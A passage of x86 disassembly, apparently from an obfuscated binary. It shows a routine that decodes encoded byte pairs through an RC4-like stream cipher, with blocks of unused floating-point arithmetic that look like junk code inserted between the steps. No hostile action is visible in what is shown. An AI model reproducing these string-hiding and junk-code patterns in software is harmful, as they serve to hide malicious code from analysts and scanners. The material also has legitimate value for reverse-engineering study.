movzx ecx, byte [ebp + ecx - 0x60b0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x60b0]
movzx ecx, byte [ebp + edx - 0x60b0]
xor eax, ecx
mov byte [ebp - 0x32ad], al
mov dl, byte [ebp - 0x32fe]
mov byte [ebp - 0x32d2], dl
mov al, byte [ebp - 0x32ad]
mov byte [ebp - 0x336e], al
cmp dword [ebp - 0x33b4], 0
jle 0x431922
movsx cx, byte [ebp - 0x336e]
mov edx, dword [ebp - 0x33b4]
mov word [ebp + edx*2 - 0x266], cx
mov eax, dword [ebp - 0x36e0]
add eax, 0x11
mov dword [ebp - 0x36e0], eax
mov ecx, dword [ebp - 0x33b4]
add ecx, 1
mov dword [ebp - 0x4be4], ecx
jmp 0x431951
mov edx, dword [ebp - 0x4be4]
add edx, 1
mov dword [ebp - 0x4be4], edx
mov eax, dword [ebp - 0x4be4]
cmp eax, dword [ebp - 0x36e0]
jge 0x432175
mov ecx, dword [ebp - 0x33b4]
add ecx, 1
mov dword [ebp - 0x33b4], ecx
mov edx, dword [ebp - 0x33b4]
shl edx, 1
mov dword [ebp - 0x3c24], edx
mov eax, dword [ebp - 0x3c28]
add eax, dword [ebp - 0x3c24]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b1c], ecx
mov dword [ebp - 0x3b20], 0x58
mov edx, dword [ebp - 0x33b4]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3c2c], eax
mov ecx, dword [ebp - 0x3c28]
add ecx, dword [ebp - 0x3c2c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b24], edx
mov dword [ebp - 0x3b28], 0xe
mov eax, dword [ebp - 0x3b1c]
sub eax, dword [ebp - 0x3b20]
mov dword [ebp - 0x3b2c], eax
mov ecx, dword [ebp - 0x3b24]
sub ecx, dword [ebp - 0x3b28]
mov dword [ebp - 0x3b30], ecx
mov edx, dword [ebp - 0x3b2c]
shl edx, 4
mov dword [ebp - 0x3c30], edx
mov eax, dword [ebp - 0x3b30]
mov dword [ebp - 0x3c34], eax
mov ecx, dword [ebp - 0x3c30]
or ecx, dword [ebp - 0x3c34]
mov dword [ebp - 0x3c38], ecx
mov dl, byte [ebp - 0x3c38]
mov byte [ebp - 0x32fe], dl
movzx eax, byte [ebp - 0x32d2]
mov cl, byte [ebp + eax - 0x60b0]
mov byte [ebp - 0x32fc], cl
movzx edx, byte [ebp - 0x328a]
movzx eax, byte [ebp + edx - 0x60b0]
movzx ecx, byte [ebp - 0x32a2]
add ecx, eax
mov byte [ebp - 0x32a2], cl
mov dl, byte [ebp - 0x328a]
add dl, 1
mov byte [ebp - 0x328a], dl
movzx eax, byte [ebp - 0x32a2]
movzx ecx, byte [ebp - 0x32d2]
mov dl, byte [ebp + eax - 0x60b0]
mov byte [ebp + ecx - 0x60b0], dl
movzx eax, byte [ebp - 0x32ad]
movzx ecx, byte [ebp - 0x32a2]
mov dl, byte [ebp + eax - 0x60b0]
mov byte [ebp + ecx - 0x60b0], dl
movzx eax, byte [ebp - 0x328a]
movzx ecx, byte [ebp - 0x32ad]
mov dl, byte [ebp + eax - 0x60b0]
mov byte [ebp + ecx - 0x60b0], dl
movzx eax, byte [ebp - 0x328a]
mov cl, byte [ebp - 0x32fc]
mov byte [ebp + eax - 0x60b0], cl
movzx edx, byte [ebp - 0x32fc]
movzx eax, byte [ebp + edx - 0x60b0]
movzx ecx, byte [ebp - 0x32fd]
add ecx, eax
mov byte [ebp - 0x32fd], cl
movzx edx, byte [ebp - 0x32fe]
movzx eax, byte [ebp - 0x32a2]
movzx ecx, byte [ebp + eax - 0x60b0]
movzx eax, byte [ebp - 0x328a]
movzx eax, byte [ebp + eax - 0x60b0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x60b0]
xor edx, ecx
movzx eax, byte [ebp - 0x32ad]
movzx ecx, byte [ebp + eax - 0x60b0]
movzx eax, byte [ebp - 0x32d2]
movzx eax, byte [ebp + eax - 0x60b0]
add ecx, eax
movzx eax, byte [ebp - 0x32fd]
movzx eax, byte [ebp + eax - 0x60b0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x60b0]
movzx eax, byte [ebp + ecx - 0x60b0]
xor edx, eax
mov byte [ebp - 0x32ad], dl
mov cl, byte [ebp - 0x32fe]
mov byte [ebp - 0x32d2], cl
movsd xmm0, qword [0xa66f90]
movsd qword [ebp - 0x3d14], xmm0
movsd xmm0, qword [0xa66ee0]
movsd qword [ebp - 0x3bd0], xmm0
movsd xmm0, qword [0xa66dc0]
movsd qword [ebp - 0x3f38], xmm0
movsd xmm0, qword [0xa66c08]
movsd qword [ebp - 0x3cc0], xmm0
movsd xmm0, qword [0xa66a68]
movsd qword [ebp - 0x4080], xmm0
movsd xmm0, qword [0xa667f8]
movsd qword [ebp - 0x39d8], xmm0
movsd xmm0, qword [ebp - 0x3f38]
mulsd xmm0, qword [ebp - 0x39d8]
movsd qword [ebp - 0x3f38], xmm0
movsd xmm0, qword [ebp - 0x3cc0]
subsd xmm0, qword [ebp - 0x39d8]
movsd qword [ebp - 0x3cc0], xmm0
movsd xmm0, qword [ebp - 0x3f38]
mulsd xmm0, qword [ebp - 0x39d8]
movsd qword [ebp - 0x3f38], xmm0
movsd xmm0, qword [ebp - 0x3cc0]
addsd xmm0, qword [ebp - 0x39d8]
movsd qword [ebp - 0x3cc0], xmm0
movsd xmm0, qword [ebp - 0x3bd0]
addsd xmm0, qword [ebp - 0x39d8]
movsd qword [ebp - 0x3bd0], xmm0
movsd xmm0, qword [ebp - 0x3cc0]
subsd xmm0, qword [ebp - 0x39d8]
movsd qword [ebp - 0x3cc0], xmm0
movsd xmm0, qword [ebp - 0x3f38]
comisd xmm0, xmmword [ebp - 0x39d8]
jbe 0x431d2b
movsd xmm0, qword [ebp - 0x3bd0]
subsd xmm0, qword [ebp - 0x3f38]
movsd qword [ebp - 0x3bd0], xmm0
movsd xmm0, qword [ebp - 0x4080]
addsd xmm0, qword [ebp - 0x39d8]
movsd qword [ebp - 0x4080], xmm0
movsd xmm0, qword [ebp - 0x3d14]
addsd xmm0, qword [ebp - 0x3bd0]
movsd qword [ebp - 0x3d14], xmm0
movsd xmm0, qword [ebp - 0x3cc0]
subsd xmm0, qword [ebp - 0x4080]
movsd qword [ebp - 0x3cc0], xmm0
movsd xmm0, qword [ebp - 0x3cc0]
addsd xmm0, qword [ebp - 0x4080]
movsd qword [ebp - 0x3cc0], xmm0
movsd xmm0, qword [ebp - 0x3bd0]
addsd xmm0, qword [ebp - 0x3f38]
movsd qword [ebp - 0x3bd0], xmm0
mov dl, byte [ebp - 0x32ad]
mov byte [ebp - 0x336e], dl
jmp 0x432151
movsd xmm0, qword [ebp - 0x4080]
addsd xmm0, qword [ebp - 0x3d14]
movsd qword [ebp - 0x4080], xmm0
movsd xmm0, qword [ebp - 0x3bd0]
addsd xmm0, qword [ebp - 0x3cc0]
movsd qword [ebp - 0x3bd0], xmm0
movsd xmm0, qword [ebp - 0x4080]
subsd xmm0, qword [ebp - 0x3d14]
movsd qword [ebp - 0x4080], xmm0
movsd xmm0, qword [ebp - 0x39d8]
addsd xmm0, qword [ebp - 0x3bd0]
movsd qword [ebp - 0x39d8], xmm0
movsd xmm0, qword [ebp - 0x3cc0]
addsd xmm0, qword [ebp - 0x39d8]
movsd qword [ebp - 0x3cc0], xmm0
movsd xmm0, qword [ebp - 0x3cc0]
mulsd xmm0, qword [ebp - 0x39d8]
movsd qword [ebp - 0x3cc0], xmm0
movsd xmm0, qword [ebp - 0x3d14]
addsd xmm0, qword [ebp - 0x3f38]
movsd qword [ebp - 0x3d14], xmm0
movsd xmm0, qword [ebp - 0x3d14]
mulsd xmm0, qword [ebp - 0x3f38]
movsd qword [ebp - 0x3d14], xmm0
movsd xmm0, qword [ebp - 0x3bd0]
addsd xmm0, qword [ebp - 0x3cc0]
movsd qword [ebp - 0x3bd0], xmm0
movsd xmm0, qword [ebp - 0x3d14]
divsd xmm0, qword [ebp - 0x3f38]
movsd qword [ebp - 0x3d14], xmm0
movsd xmm0, qword [ebp - 0x39d8]
subsd xmm0, qword [ebp - 0x3bd0]
movsd qword [ebp - 0x39d8], xmm0
movsd xmm0, qword [ebp - 0x3d14]
mulsd xmm0, qword [ebp - 0x3f38]
movsd qword [ebp - 0x3d14], xmm0
movsd xmm0, qword [ebp - 0x4080]
comisd xmm0, xmmword [ebp - 0x3f38]
jbe 0x431ef6
movsd xmm0, qword [ebp - 0x4080]
addsd xmm0, qword [ebp - 0x39d8]
movsd qword [ebp - 0x4080], xmm0
movsd xmm0, qword [ebp - 0x39d8]
addsd xmm0, qword [ebp - 0x3d14]
movsd qword [ebp - 0x39d8], xmm0
movsd xmm0, qword [ebp - 0x4080]
subsd xmm0, qword [ebp - 0x39d8]
movsd qword [ebp - 0x4080], xmm0
movsd xmm0, qword [ebp - 0x3d14]
addsd xmm0, qword [ebp - 0x3bd0]
movsd qword [ebp - 0x3d14], xmm0
movsd xmm0, qword [ebp - 0x3bd0]
divsd xmm0, qword [ebp - 0x3f38]
movsd qword [ebp - 0x3bd0], xmm0
movsd xmm0, qword [ebp - 0x39d8]
mulsd xmm0, qword [ebp - 0x3d14]
movsd qword [ebp - 0x39d8], xmm0
jmp 0x432151
movsd xmm0, qword [ebp - 0x3d14]
addsd xmm0, qword [ebp - 0x3bd0]
movsd qword [ebp - 0x3d14], xmm0
movsd xmm0, qword [ebp - 0x4080]
mulsd xmm0, qword [ebp - 0x39d8]
movsd qword [ebp - 0x4080], xmm0
movsd xmm0, qword [ebp - 0x4080]
addsd xmm0, qword [ebp - 0x39d8]
movsd qword [ebp - 0x4080], xmm0
movsd xmm0, qword [ebp - 0x3d14]
divsd xmm0, qword [ebp - 0x3bd0]
movsd qword [ebp - 0x3d14], xmm0
movsd xmm0, qword [ebp - 0x3bd0]
mulsd xmm0, qword [ebp - 0x3f38]
movsd qword [ebp - 0x3bd0], xmm0
movsd xmm0, qword [ebp - 0x3bd0]
mulsd xmm0, qword [ebp - 0x3f38]
movsd qword [ebp - 0x3bd0], xmm0
movsd xmm0, qword [ebp - 0x3f38]
addsd xmm0, qword [ebp - 0x4080]
movsd qword [ebp - 0x3f38], xmm0
movsd xmm0, qword [ebp - 0x3d14]
mulsd xmm0, qword [ebp - 0x3f38]
movsd qword [ebp - 0x3d14], xmm0
movsd xmm0, qword [ebp - 0x39d8]
mulsd xmm0, qword [ebp - 0x3bd0]
movsd qword [ebp - 0x39d8], xmm0
movsd xmm0, qword [ebp - 0x3bd0]
divsd xmm0, qword [ebp - 0x3cc0]
movsd qword [ebp - 0x3bd0], xmm0
movsd xmm0, qword [ebp - 0x39d8]
mulsd xmm0, qword [ebp - 0x3bd0]
movsd qword [ebp - 0x39d8], xmm0
movsd xmm0, qword [ebp - 0x3bd0]
divsd xmm0, qword [ebp - 0x3cc0]
movsd qword [ebp - 0x3bd0], xmm0
movsd xmm0, qword [ebp - 0x39d8]
comisd xmm0, xmmword [ebp - 0x3bd0]
jbe 0x4320c1
movsd xmm0, qword [ebp - 0x3cc0]
subsd xmm0, qword [ebp - 0x4080]
movsd qword [ebp - 0x3cc0], xmm0
movsd xmm0, qword [ebp - 0x39d8]
mulsd xmm0, qword [ebp - 0x3d14]
movsd qword [ebp - 0x39d8], xmm0
movsd xmm0, qword [ebp - 0x3cc0]
divsd xmm0, qword [ebp - 0x4080]
movsd qword [ebp - 0x3cc0], xmm0
movsd xmm0, qword [ebp - 0x39d8]
subsd xmm0, qword [ebp - 0x3d14]
movsd qword [ebp - 0x39d8], xmm0
movsd xmm0, qword [ebp - 0x3f38]
subsd xmm0, qword [ebp - 0x3cc0]
movsd qword [ebp - 0x3f38], xmm0
movsd xmm0, qword [ebp - 0x39d8]
divsd xmm0, qword [ebp - 0x3d14]
movsd qword [ebp - 0x39d8], xmm0
jmp 0x432151
movsd xmm0, qword [ebp - 0x39d8]
divsd xmm0, qword [ebp - 0x3d14]
movsd qword [ebp - 0x39d8], xmm0
movsd xmm0, qword [ebp - 0x3f38]
divsd xmm0, qword [ebp - 0x3cc0]
movsd qword [ebp - 0x3f38], xmm0
movsd xmm0, qword [ebp - 0x3d14]
divsd xmm0, qword [ebp - 0x3bd0]
movsd qword [ebp - 0x3d14], xmm0
movsd xmm0, qword [ebp - 0x3cc0]
divsd xmm0, qword [ebp - 0x4080]
movsd qword [ebp - 0x3cc0], xmm0
movsd xmm0, qword [ebp - 0x3cc0]
addsd xmm0, qword [ebp - 0x4080]
movsd qword [ebp - 0x3cc0], xmm0
movsd xmm0, qword [ebp - 0x3f38]
divsd xmm0, qword [ebp - 0x3cc0]
movsd qword [ebp - 0x3f38], xmm0
cmp dword [ebp - 0x33b4], 0
jle 0x432170
movsx ax, byte [ebp - 0x336e]
mov ecx, dword [ebp - 0x33b4]
mov word [ebp + ecx*2 - 0x266], ax
jmp 0x431942
mov edx, dword [ebp - 0x36e0]
add edx, 1
mov dword [ebp - 0x36e0], edx
mov eax, dword [ebp - 0x33b4]
add eax, 1
mov dword [ebp - 0x33b4], eax
mov ecx, dword [ebp - 0x36e0]
add ecx, 1
mov dword [ebp - 0x36e0], ecx
mov edx, dword [ebp - 0x33b4]
shl edx, 1
mov dword [ebp - 0x3c24], edx
mov eax, dword [ebp - 0x3c28]
add eax, dword [ebp - 0x3c24]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b1c], ecx
mov dword [ebp - 0x3b20], 0x58
mov edx, dword [ebp - 0x33b4]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3c2c], eax
mov ecx, dword [ebp - 0x3c28]
add ecx, dword [ebp - 0x3c2c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b24], edx
mov dword [ebp - 0x3b28], 0xe
mov eax, dword [ebp - 0x3b1c]
sub eax, dword [ebp - 0x3b20]
mov dword [ebp - 0x3b2c], eax
mov ecx, dword [ebp - 0x3b24]
sub ecx, dword [ebp - 0x3b28]
mov dword [ebp - 0x3b30], ecx
mov edx, dword [ebp - 0x3b2c]
shl edx, 4
mov dword [ebp - 0x3c30], edx
mov eax, dword [ebp - 0x3b30]
mov dword [ebp - 0x3c34], eax
mov ecx, dword [ebp - 0x3c30]
or ecx, dword [ebp - 0x3c34]
mov dword [ebp - 0x3c38], ecx
mov dl, byte [ebp - 0x3c38]
mov byte [ebp - 0x32fe], dl
movzx eax, byte [ebp - 0x32d2]
mov cl, byte [ebp + eax - 0x60b0]
mov byte [ebp - 0x32fc], cl
movzx edx, byte [ebp - 0x328a]
movzx eax, byte [ebp + edx - 0x60b0]
movzx ecx, byte [ebp - 0x32a2]
add ecx, eax
mov byte [ebp - 0x32a2], cl
mov dl, byte [ebp - 0x328a]
add dl, 1
mov byte [ebp - 0x328a], dl
movzx eax, byte [ebp - 0x32a2]
movzx ecx, byte [ebp - 0x32d2]
mov dl, byte [ebp + eax - 0x60b0]
mov byte [ebp + ecx - 0x60b0], dl
movzx eax, byte [ebp - 0x32ad]
movzx ecx, byte [ebp - 0x32a2]
mov dl, byte [ebp + eax - 0x60b0]
mov byte [ebp + ecx - 0x60b0], dl
movzx eax, byte [ebp - 0x328a]
movzx ecx, byte [ebp - 0x32ad]
mov dl, byte [ebp + eax - 0x60b0]
mov byte [ebp + ecx - 0x60b0], dl
movzx eax, byte [ebp - 0x328a]
mov cl, byte [ebp - 0x32fc]
mov byte [ebp + eax - 0x60b0], cl
movzx edx, byte [ebp - 0x32fc]
movzx eax, byte [ebp + edx - 0x60b0]
movzx ecx, byte [ebp - 0x32fd]
add ecx, eax
mov byte [ebp - 0x32fd], cl
movzx edx, byte [ebp - 0x32fe]
movzx eax, byte [ebp - 0x32a2]
movzx ecx, byte [ebp + eax - 0x60b0]
movzx eax, byte [ebp - 0x328a]
movzx eax, byte [ebp + eax - 0x60b0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x60b0]
xor edx, ecx
movzx eax, byte [ebp - 0x32ad]
movzx ecx, byte [ebp + eax - 0x60b0]
movzx eax, byte [ebp - 0x32d2]
movzx eax, byte [ebp + eax - 0x60b0]
add ecx, eax
movzx eax, byte [ebp - 0x32fd]
movzx eax, byte [ebp + eax - 0x60b0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x60b0]
movzx eax, byte [ebp + ecx - 0x60b0]
xor edx, eax
mov byte [ebp - 0x32ad], dl
movss xmm0, dword [0xa67418]
movss dword [ebp - 0x43a0], xmm0
movss xmm0, dword [0xa6735c]
movss dword [ebp - 0x3dac], xmm0
movss xmm0, dword [0xa67270]
movss dword [ebp - 0x3db0], xmm0
movss xmm0, dword [0xa67158]
movss dword [ebp - 0x4534], xmm0
movss xmm0, dword [0xa67054]
movss dword [ebp - 0x4284], xmm0
movss xmm0, dword [ebp - 0x3db0]
subss xmm0, dword [ebp - 0x4284]
movss dword [ebp - 0x3db0], xmm0
movss xmm0, dword [ebp - 0x43a0]
mulss xmm0, dword [ebp - 0x4284]
movss dword [ebp - 0x43a0], xmm0
movss xmm0, dword [ebp - 0x3db0]
mulss xmm0, dword [ebp - 0x4284]
movss dword [ebp - 0x3db0], xmm0
movss xmm0, dword [ebp - 0x3dac]
mulss xmm0, dword [ebp - 0x4284]
movss dword [ebp - 0x3dac], xmm0
movss xmm0, dword [ebp - 0x4534]
addss xmm0, dword [ebp - 0x4284]
movss dword [ebp - 0x4534], xmm0
movss xmm0, dword [ebp - 0x43a0]
comiss xmm0, dword [ebp - 0x4284]
jbe 0x43250b
movss xmm0, dword [ebp - 0x3dac]
addss xmm0, dword [ebp - 0x3db0]
movss dword [ebp - 0x3dac], xmm0
movss xmm0, dword [ebp - 0x3db0]
addss xmm0, dword [ebp - 0x4534]
movss dword [ebp - 0x3db0], xmm0
movss xmm0, dword [ebp - 0x3dac]
addss xmm0, dword [ebp - 0x3db0]
movss dword [ebp - 0x3dac], xmm0
movss xmm0, dword [ebp - 0x3db0]
addss xmm0, dword [ebp - 0x4534]
movss dword [ebp - 0x3db0], xmm0
movss xmm0, dword [ebp - 0x3dac]
subss xmm0, dword [ebp - 0x3db0]
movss dword [ebp - 0x3dac], xmm0
mov cl, byte [ebp - 0x32fe]
mov byte [ebp - 0x32d2], cl
jmp 0x432583
movss xmm0, dword [ebp - 0x43a0]
mulss xmm0, dword [ebp - 0x3db0]
movss dword [ebp - 0x43a0], xmm0
movss xmm0, dword [ebp - 0x3dac]
subss xmm0, dword [ebp - 0x4534]
movss dword [ebp - 0x3dac], xmm0
movss xmm0, dword [ebp - 0x4284]
divss xmm0, dword [ebp - 0x3dac]
movss dword [ebp - 0x4284], xmm0
movss xmm0, dword [ebp - 0x43a0]
mulss xmm0, dword [ebp - 0x3db0]
movss dword [ebp - 0x43a0], xmm0
movss xmm0, dword [ebp - 0x3dac]
mulss xmm0, dword [ebp - 0x4534]
movss dword [ebp - 0x3dac], xmm0
movss xmm0, dword [0xa674a4]
movss dword [ebp - 0x3864], xmm0
movss xmm0, dword [0xa6741c]
movss dword [ebp - 0x3620], xmm0
movss xmm0, dword [0xa67334]
movss dword [ebp - 0x3984], xmm0
movss xmm0, dword [0xa671cc]
movss dword [ebp - 0x3c20], xmm0
movss xmm0, dword [0xa67088]
movss dword [ebp - 0x357c], xmm0
movss xmm0, dword [ebp - 0x3c20]
addss xmm0, dword [ebp - 0x357c]
movss dword [ebp - 0x3c20], xmm0
movss xmm0, dword [ebp - 0x3620]
subss xmm0, dword [ebp - 0x357c]
movss dword [ebp - 0x3620], xmm0
movss xmm0, dword [ebp - 0x3864]
subss xmm0, dword [ebp - 0x357c]
movss dword [ebp - 0x3864], xmm0
movss xmm0, dword [ebp - 0x3984]
addss xmm0, dword [ebp - 0x357c]
movss dword [ebp - 0x3984], xmm0
movss xmm0, dword [ebp - 0x3864]
addss xmm0, dword [ebp - 0x357c]
movss dword [ebp - 0x3864], xmm0
movss xmm0, dword [ebp - 0x357c]
comiss xmm0, dword [ebp - 0x3864]
jbe 0x432858
movss xmm0, dword [ebp - 0x3c20]
addss xmm0, dword [ebp - 0x357c]
movss dword [ebp - 0x3c20], xmm0
movss xmm0, dword [ebp - 0x3c20]
addss xmm0, dword [ebp - 0x357c]
movss dword [ebp - 0x3c20], xmm0
movss xmm0, dword [ebp - 0x3620]
mulss xmm0, dword [ebp - 0x3984]
movss dword [ebp - 0x3620], xmm0
movss xmm0, dword [ebp - 0x3620]
mulss xmm0, dword [ebp - 0x3984]
movss dword [ebp - 0x3620], xmm0
movss xmm0, dword [ebp - 0x357c]
subss xmm0, dword [ebp - 0x3864]
movss dword [ebp - 0x357c], xmm0
movss xmm0, dword [ebp - 0x3864]
mulss xmm0, dword [ebp - 0x3984]
movss dword [ebp - 0x3864], xmm0
movss xmm0, dword [ebp - 0x3620]
subss xmm0, dword [ebp - 0x3c20]
movss dword [ebp - 0x3620], xmm0
movss xmm0, dword [ebp - 0x3620]
addss xmm0, dword [ebp - 0x3c20]
movss dword [ebp - 0x3620], xmm0
movss xmm0, dword [ebp - 0x357c]
addss xmm0, dword [ebp - 0x3620]
movss dword [ebp - 0x357c], xmm0
movss xmm0, dword [ebp - 0x3620]
mulss xmm0, dword [ebp - 0x3c20]
movss dword [ebp - 0x3620], xmm0
movss xmm0, dword [ebp - 0x3c20]
comiss xmm0, dword [ebp - 0x3864]
jbe 0x4327db
movss xmm0, dword [ebp - 0x357c]
subss xmm0, dword [ebp - 0x3620]
movss dword [ebp - 0x357c], xmm0
movss xmm0, dword [ebp - 0x3984]
addss xmm0, dword [ebp - 0x357c]
movss dword [ebp - 0x3984], xmm0
movss xmm0, dword [ebp - 0x3c20]
divss xmm0, dword [ebp - 0x3864]
movss dword [ebp - 0x3c20], xmm0
movss xmm0, dword [ebp - 0x3984]
addss xmm0, dword [ebp - 0x357c]
movss dword [ebp - 0x3984], xmm0
movss xmm0, dword [ebp - 0x3864]
subss xmm0, dword [ebp - 0x3984]
movss dword [ebp - 0x3864], xmm0
jmp 0x432853
movss xmm0, dword [ebp - 0x3864]
mulss xmm0, dword [ebp - 0x3984]
movss dword [ebp - 0x3864], xmm0
movss xmm0, dword [ebp - 0x3864]
subss xmm0, dword [ebp - 0x3984]
movss dword [ebp - 0x3864], xmm0
movss xmm0, dword [ebp - 0x3620]
mulss xmm0, dword [ebp - 0x3c20]
movss dword [ebp - 0x3620], xmm0
movss xmm0, dword [ebp - 0x3864]
mulss xmm0, dword [ebp - 0x3984]
movss dword [ebp - 0x3864], xmm0
movss xmm0, dword [ebp - 0x357c]
mulss xmm0, dword [ebp - 0x3620]
movss dword [ebp - 0x357c], xmm0
jmp 0x4328dc
movss xmm0, dword [ebp - 0x3984]
addss xmm0, dword [ebp - 0x357c]
movss dword [ebp - 0x3984], xmm0
movss xmm0, dword [ebp - 0x357c]
subss xmm0, dword [ebp - 0x3620]
movss dword [ebp - 0x357c], xmm0
movss xmm0, dword [ebp - 0x357c]
subss xmm0, dword [ebp - 0x3620]
movss dword [ebp - 0x357c], xmm0
movss xmm0, dword [ebp - 0x3620]
addss xmm0, dword [ebp - 0x3c20]
movss dword [ebp - 0x3620], xmm0
movss xmm0, dword [ebp - 0x3984]
mulss xmm0, dword [ebp - 0x357c]
movss dword [ebp - 0x3984], xmm0
mov dl, byte [ebp - 0x32ad]
mov byte [ebp - 0x336e], dl
cmp dword [ebp - 0x33b4], 0
jle 0x4328fb
movsx ax, byte [ebp - 0x336e]
mov ecx, dword [ebp - 0x33b4]
mov word [ebp + ecx*2 - 0x266], ax
mov edx, dword [ebp - 0x33b4]
add edx, 1
mov dword [ebp - 0x33b4], edx
mov eax, dword [ebp - 0x36e0]
add eax, 1
mov dword [ebp - 0x36e0], eax
mov ecx, dword [ebp - 0x33b4]
shl ecx, 1
mov dword [ebp - 0x3c24], ecx
mov edx, dword [ebp - 0x3c28]
add edx, dword [ebp - 0x3c24]
movzx eax, byte [edx]
mov dword [ebp - 0x3b1c], eax
mov dword [ebp - 0x3b20], 0x58
mov ecx, dword [ebp - 0x33b4]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3c2c], edx
mov eax, dword [ebp - 0x3c28]
add eax, dword [ebp - 0x3c2c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b24], ecx
movsd xmm0, qword [0xa66d48]
movsd qword [ebp - 0x3f40], xmm0
movsd xmm0, qword [0xa66bb0]
movsd qword [ebp - 0x4638], xmm0
movsd xmm0, qword [0xa66a30]
movsd qword [ebp - 0x3f48], xmm0
movsd xmm0, qword [0xa667b0]
movsd qword [ebp - 0x4308], xmm0
movsd xmm0, qword [ebp - 0x3f48]
mulsd xmm0, qword [ebp - 0x4308]
movsd qword [ebp - 0x3f48], xmm0
movsd xmm0, qword [ebp - 0x3f40]
subsd xmm0, qword [ebp - 0x4308]
movsd qword [ebp - 0x3f40], xmm0
movsd xmm0, qword [ebp - 0x4638]
addsd xmm0, qword [ebp - 0x4308]
movsd qword [ebp - 0x4638], xmm0
movsd xmm0, qword [ebp - 0x3f48]
addsd xmm0, qword [ebp - 0x4308]
movsd qword [ebp - 0x3f48], xmm0
movsd xmm0, qword [ebp - 0x4308]
comisd xmm0, xmmword [ebp - 0x3f48]
jbe 0x432bb7
movsd xmm0, qword [ebp - 0x3f48]
mulsd xmm0, qword [ebp - 0x3f40]
movsd qword [ebp - 0x3f48], xmm0
movsd xmm0, qword [ebp - 0x3f48]
divsd xmm0, qword [ebp - 0x3f40]
movsd qword [ebp - 0x3f48], xmm0
movsd xmm0, qword [ebp - 0x3f40]
addsd xmm0, qword [ebp - 0x3f48]
movsd qword [ebp - 0x3f40], xmm0
movsd xmm0, qword [ebp - 0x3f40]
subsd xmm0, qword [ebp - 0x3f48]
movsd qword [ebp - 0x3f40], xmm0
movsd xmm0, qword [ebp - 0x4638]
subsd xmm0, qword [ebp - 0x4308]
movsd qword [ebp - 0x4638], xmm0
movsd xmm0, qword [ebp - 0x3f40]
addsd xmm0, qword [ebp - 0x3f48]
movsd qword [ebp - 0x3f40], xmm0
movsd xmm0, qword [ebp - 0x4308]
addsd xmm0, qword [ebp - 0x4638]
movsd qword [ebp - 0x4308], xmm0
movsd xmm0, qword [ebp - 0x4638]
addsd xmm0, qword [ebp - 0x4308]
movsd qword [ebp - 0x4638], xmm0
movsd xmm0, qword [ebp - 0x3f40]
comisd xmm0, xmmword [ebp - 0x3f48]
jbe 0x432b55
movsd xmm0, qword [ebp - 0x3f40]
addsd xmm0, qword [ebp - 0x3f48]
movsd qword [ebp - 0x3f40], xmm0
movsd xmm0, qword [ebp - 0x3f40]
addsd xmm0, qword [ebp - 0x3f48]
movsd qword [ebp - 0x3f40], xmm0
movsd xmm0, qword [ebp - 0x3f48]
subsd xmm0, qword [ebp - 0x3f40]
movsd qword [ebp - 0x3f48], xmm0
movsd xmm0, qword [ebp - 0x4638]
addsd xmm0, qword [ebp - 0x4308]
movsd qword [ebp - 0x4638], xmm0
jmp 0x432bb5
movsd xmm0, qword [ebp - 0x4308]
divsd xmm0, qword [ebp - 0x3f40]
movsd qword [ebp - 0x4308], xmm0
movsd xmm0, qword [ebp - 0x4308]
subsd xmm0, qword [ebp - 0x3f40]
movsd qword [ebp - 0x4308], xmm0
movsd xmm0, qword [ebp - 0x3f40]
divsd xmm0, qword [ebp - 0x4638]
movsd qword [ebp - 0x3f40], xmm0
movsd xmm0, qword [ebp - 0x3f48]
mulsd xmm0, qword [ebp - 0x4308]
movsd qword [ebp - 0x3f48], xmm0
jmp 0x432c21
movsd xmm0, qword [ebp - 0x3f40]
subsd xmm0, qword [ebp - 0x3f48]
movsd qword [ebp - 0x3f40], xmm0
movsd xmm0, qword [ebp - 0x3f48]
mulsd xmm0, qword [ebp - 0x3f40]
movsd qword [ebp - 0x3f48], xmm0
movsd xmm0, qword [ebp - 0x4308]
subsd xmm0, qword [ebp - 0x4638]
movsd qword [ebp - 0x4308], xmm0
movsd xmm0, qword [ebp - 0x3f48]
subsd xmm0, qword [ebp - 0x3f40]
movsd qword [ebp - 0x3f48], xmm0
mov dword [ebp - 0x3b28], 0xe
mov edx, dword [ebp - 0x3b1c]
sub edx, dword [ebp - 0x3b20]
mov dword [ebp - 0x3b2c], edx
mov eax, dword [ebp - 0x3b24]
sub eax, dword [ebp - 0x3b28]
mov dword [ebp - 0x3b30], eax
movss xmm0, dword [0xa6746c]
movss dword [ebp - 0x37c8], xmm0
movss xmm0, dword [0xa673d4]
movss dword [ebp - 0x3fd0], xmm0
movss xmm0, dword [0xa672cc]
movss dword [ebp - 0x36e4], xmm0
movss xmm0, dword [0xa671a8]
movss dword [ebp - 0x35f0], xmm0
movss xmm0, dword [0xa67074]
movss dword [ebp - 0x35ec], xmm0
movss xmm0, dword [ebp - 0x37c8]
mulss xmm0, dword [ebp - 0x35ec]
movss dword [ebp - 0x37c8], xmm0
movss xmm0, dword [ebp - 0x3fd0]
subss xmm0, dword [ebp - 0x35ec]
movss dword [ebp - 0x3fd0], xmm0
movss xmm0, dword [ebp - 0x35f0]
subss xmm0, dword [ebp - 0x35ec]
movss dword [ebp - 0x35f0], xmm0
movss xmm0, dword [ebp - 0x35f0]
mulss xmm0, dword [ebp - 0x35ec]
movss dword [ebp - 0x35f0], xmm0
movss xmm0, dword [ebp - 0x36e4]
subss xmm0, dword [ebp - 0x35ec]
movss dword [ebp - 0x36e4], xmm0
movss xmm0, dword [ebp - 0x37c8]
comiss xmm0, dword [ebp - 0x35ec]
jbe 0x432dae
movss xmm0, dword [ebp - 0x37c8]
mulss xmm0, dword [ebp - 0x3fd0]
movss dword [ebp - 0x37c8], xmm0
movss xmm0, dword [ebp - 0x35ec]
subss xmm0, dword [ebp - 0x37c8]
